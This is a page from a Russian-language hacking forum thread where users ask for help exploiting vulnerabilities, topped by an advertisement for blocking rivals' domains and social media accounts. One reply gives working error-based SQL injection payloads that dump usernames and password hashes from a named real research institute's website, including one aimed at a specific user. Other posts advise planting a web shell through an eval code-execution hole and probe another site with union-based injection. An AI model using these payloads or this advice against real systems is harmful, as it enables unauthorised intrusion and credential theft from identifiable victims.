Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 281 из 296

281

Опции темы

Поиск в этой теме

Опции просмотра

#2801

31.03.2020, 14:21

DezMond™

Участник форума

Регистрация: 10.01.2008

Сообщений: 199

С нами: 9650336

Репутация: 662

Хелп, помогите раскрутить

Код:

https://www.mpisoc.mpg.de/sozialrecht/publikationen/detail/publication/a'/

#2802

01.04.2020, 00:28

neur0funk

Новичок

Регистрация: 09.05.2018

Сообщений: 22

С нами: 4218806

Репутация: 12

Цитата:

Сообщение от DezMond™

↑
Хелп, помогите раскрутить

Код:

https://www.mpisoc.mpg.de/sozialrecht/publikationen/detail/publication/a'/

/sozialrecht/publikationen/detail/publication/a'=(extractvalue(0x0a,concat(0x0a,(select(group_co ncat(concat_ws(0x3a,username,password)))from(be_us ers)))))='a/

a'=(extractvalue(0x0a,concat(0x0a,(select(group_co ncat(substring(password,20,30)))from(be_users)wher e(username='rtisch')))))='a/

#2803

03.04.2020, 06:14

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

Хочу логировать все POST запросы к серверу, есть ли такая возможность без рута? Аналог tcpdump или какие-нибудь другие методы

#2804

03.04.2020, 12:01

fandor9

Постоянный

Регистрация: 16.11.2018

Сообщений: 620

С нами: 3943766

Репутация: 47

Цитата:

Сообщение от pinch

↑
Хочу логировать все POST запросы к серверу, есть ли такая возможность без рута? Аналог tcpdump или какие-нибудь другие методы

Мониторинг трафика требует прямого обращение к сетевому интерфейсу и потому права рута (ну или права группы netdev). Возможно настроить апач/nginx что-бы они все сливали в лог. Вариант номер 3 это приписать логирование в приложение.

#2805

12.05.2020, 06:29

holdik

Новичок

Регистрация: 04.11.2017

Сообщений: 13

С нами: 4486646

Репутация: 2

Имеется RCE eval($e), скачивание извне запрещены, system passthru и тд запрещено. Какие варианты залить Шелл? Отблагодарю

#2806

12.05.2020, 12:14

neur0funk

Новичок

Регистрация: 09.05.2018

Сообщений: 22

С нами: 4218806

Репутация: 12

Цитата:

Сообщение от holdik

↑
Имеется RCE eval($e), скачивание извне запрещены, system passthru и тд запрещено. Какие варианты залить Шелл? Отблагодарю

создать файл, данные постом передать

#2807

13.05.2020, 06:19

aberkroft

Познающий

Регистрация: 09.02.2020

Сообщений: 43

С нами: 3295766

Репутация: 3

Цитата:

Сообщение от holdik

Запрещены где ? На хосте или waf-ом ?

#2808

14.05.2020, 13:21

FireRidlle

Новичок

Регистрация: 07.07.2009

Сообщений: 2

С нами: 8865939

Репутация: 0

подскажите как заюзать и достать бд

Код:

?search=-")+or+1=1+limit+10--+-

выодит 10 записей

Код:

?search=-")+order+by+1--+-

ошибки нет, но при order by 2 ошибка

Код:

?search=-")+union+select+1--+-

не выводит "1".

думал там какая то разновидность такого запроса. то есть вероятней всего результат первого запроса (уявимого) передается в WHERE для второго запроса

Код:

ids = SELECT id FROM users
WHERE group="XXXX" AND (name LIKE "%$GET['search']%" OR email LIKE "%$GET['search']%"
)
SELECT * FROM users WHERE id IN(ids)

сделал запрос типа

Код:

?search=-")+union+select+217--+-

где 217 это мой id. но результат пустой(

#2809

14.05.2020, 21:40

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

С нами: 5710646

Репутация: 24

Есть новость что воровали банковские данные через иконку сайта, мол иконка выдавалась на всех страницах но на сранице оплаты выдавался js файл keylogger. Это как что за тэг там был что работал и favicon и js?

https://www.bleepingcomputer.com/ne...te-favicon-to-camouflage-credit-card-skimmer/